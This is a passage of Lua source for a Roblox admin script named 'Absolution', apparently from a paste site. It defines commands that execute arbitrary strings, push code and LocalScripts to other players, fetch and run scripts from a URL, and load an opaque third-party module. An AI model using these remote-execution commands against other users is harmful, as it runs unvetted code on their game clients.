- if #Players > 0 then
- for _,v in pairs(Players) do
- local Ran,Error = ypcall(function()
- Absolution.Functions:ConnectPlayer(v)
- end)
- if not Ran then
- --Absolution.Functions.Output(Speaker, Error, 'Really red')
- Absolution.Functions.Out(Speaker, Error, 4)
- else
- Absolution.Functions.Out(Speaker, "Attempting to force connect "..v.Name, 5)
- --Absolution.Functions.Output(Speaker, "Attempting to force connect "..v.Name, 'White')
- end
- end
- end
- end)
- Absolution.Functions.Command("Send loadstring", {"loadstr", "rlt", "nl"}, 7, "Sends a code to a player", "No Flags", function(Speaker,Msg)
- local Split = Msg:find('/')
- local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
- local Packet = Msg:sub(Split + 1)
- local pckt;
- if #Players > 0 then
- for _,v in pairs(Players) do
- local Ran,Error = ypcall(function()
- pckt = Absolution.Handler:clientLS(Packet, v)
- end)
- if not Ran then
- --Absolution.Functions.Output(Speaker, Error, 'Really red')
- Absolution.Functions.Out(Speaker, Error, 4)
- else
- --Absolution.Functions.Output(Speaker, tostring(pckt), 'White')
- Absolution.Functions.Out(Speaker, tostring(pckt), 1)
- end
- end
- end
- end)
- Absolution.Functions.Command("NewLocalScript", {"nls","forcelocal"}, 7, "Sends a localscript to a player", "No Flags", function(Speaker,Msg)
- local Split = Msg:find('/')
- local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
- local Packet = Msg:sub(Split + 1)
- local pckt;
- if #Players > 0 then
- for _,v in pairs(Players) do
- local Ran,Error = ypcall(function()
- pckt = Absolution.Functions.NLS(Packet, v:findFirstChild('PlayerGui'))
- end)
- if not Ran then
- --Absolution.Functions.Output(Speaker, Error, 'Really red')
- Absolution.Functions.Out(Speaker, Error, 4)
- else
- --Absolution.Functions.Output(Speaker, 'Sent localscript', 'White')
- Absolution.Functions.Out(Speaker, 'Sent local to '..v.Name, 5)
- end
- end
- end
- end)
- Absolution.Functions.Command('Load ic3 admin', {'loadcancer'}, 7, 'Loads ic3s cancer module (do not do this unless you know what the hell ur doing)', 'No Flags', function(Speaker, Msg)
- Absolution.Functions.createScript([[require(200901975)'ic399']], workspace)
- end)
- Absolution.Functions.Command("Load HTTP from page", {'loadh','httpload'}, 7, 'Loads an http script from a website', 'No Flags', function(Speaker,Msg)
- if #Msg >0 then
- local httpSite = Msg
- Absolution.Functions.Output(Speaker,'Are you sure you want to load '..httpSite..'?','Bright violet',function()
- local rtn = Absolution.Services.HttpService:GetAsync(httpSite)
- Absolution.Functions.createScript(rtn, Absolution.Services.Workspace, Speaker.Name..' http script')
- end)
- end
- end)
- Absolution.Functions.Command("Execute", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
- warn(Speaker, "loadstring(\""..Msg.."\")")
- local Speakr = Speaker
- local ran,error = ypcall(function()
- loadstring(Msg)()
- end)
- if not ran then
- Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, error, 'Really red')
- else
- Absolution.Functions.Out(Speaker,'Ran Successfully!', 5)--Absolution.Functions.Output(Speaker, 'Ran successfully!', 'Lime green')
- end
- end)
- -- Rank 8 --
- Absolution.Functions.Command("Sync Ranks Out", {'so','sync','sro'}, 8, "Syncs data to database", "-p (Player data)", function(Speaker,Msg)
- if Absolution.Functions.GetSplit(Msg) == 'p' then
- local Players = Absolution.Functions.getPlayers(Speaker,Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- Absolution.Functions.Out(Speaker,"Attempting to sync data for "..v.Name, 5)
- local Ran,Error = ypcall(function()
- Absolution.Functions.syncRankOut(v)
- end)
- if not Ran then
- --Absolution.Functions.Output(Speaker, Error, 'Really red')
- Absolution.Functions.Out(Speaker, Error, 4)
- else
- --Absolution.Functions.Output(Speaker, "Attempting to sync data for "..v.Name, 'White', nil, 8)
- end
- end
- end
- else
- Absolution.Functions.Out(Speaker,'Synchronizing Data.', 2)
- Absolution.Functions.syncRanksOut()
- --Absolution.Functions.Output(Speaker, 'Data syncronized!', 'Lime green', nil, 8)
- Absolution.Functions.Out(Speaker,'Data syncronized!', 5)
- end
- end)
- --------- Start Script -----------------------
- Absolution.Functions:Boot()
- local end_time = tick()
- Absolution.bootTime = (end_time-start_time)
- --Absolution.Functions.Output('Admins','Absolution booted in '..Absolution.bootTime..' seconds.','Bright violet',nil,60)
- Absolution.Functions.Out('Admins','Absolution booted in '..Absolution.bootTime..' seconds.',5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement